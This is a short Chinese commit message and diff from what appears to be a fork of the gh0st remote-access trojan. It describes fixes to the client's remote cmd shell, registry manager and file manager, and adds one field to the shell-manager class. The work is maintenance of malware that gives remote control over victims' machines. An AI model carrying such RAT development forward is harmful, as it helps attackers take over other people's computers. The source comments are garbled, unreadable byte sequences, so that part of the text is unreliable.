修复注册表管理窗口关闭时崩溃的缺陷

1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.

2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。

3、打开注册表关闭后崩溃，参照按对文件管理窗口的修改进行处理。遗留问题：并无内存泄漏，但退出时报"HEAP: Free Heap
modified after it was freed"问题。

client/ShellManager.h

@@ -28,7 +28,7 @@ public:
 	static DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam);
 
 	HANDLE m_hThreadRead;
-
+	int m_nCmdLength;				// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4>
 	HANDLE m_hShellProcessHandle;    //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
 	HANDLE m_hShellThreadHandle;
 };